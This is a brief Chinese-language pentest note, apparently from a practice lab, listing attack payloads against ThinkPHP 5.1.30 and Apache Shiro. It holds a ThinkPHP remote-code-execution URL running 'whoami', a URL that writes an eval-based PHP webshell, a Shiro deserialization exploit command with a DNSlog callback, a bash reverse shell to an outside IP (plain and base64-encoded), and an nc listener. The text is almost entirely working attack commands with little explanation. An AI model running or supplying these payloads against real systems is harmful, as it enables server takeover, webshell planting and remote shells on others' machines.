【来自BMH的面试靶场】2021-02-07小记录
一 Thinkphp-5.1.30 /index.php?s=index/think\app/invokefunction&function=call _user_ func_array&vars[ 0 ]=system&vars[ 1 ][ ]=whoami /index.php/? s = index /\think\template\driver\file/ write &cacheFile=kanhayou.php&content=%3C?php%C2%A0@eval($_POST[kanhayou]);?%3E 二 Shiro-反序列化 出网验证: https: //github.com/sv3nbeast/ShiroScan python3 shiro_rce.py http: //xx.xx.70.24:40817 "ping cqehyd.dnslog.cn" 准备工作: bash -i >& /dev/tcp/123.123.151.3/8003 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTUxLjMvODA123123}|{base64,-d}|{bash,-i} nc -lvvp 8003 利用: https: //github.com/insightglacier/Shiro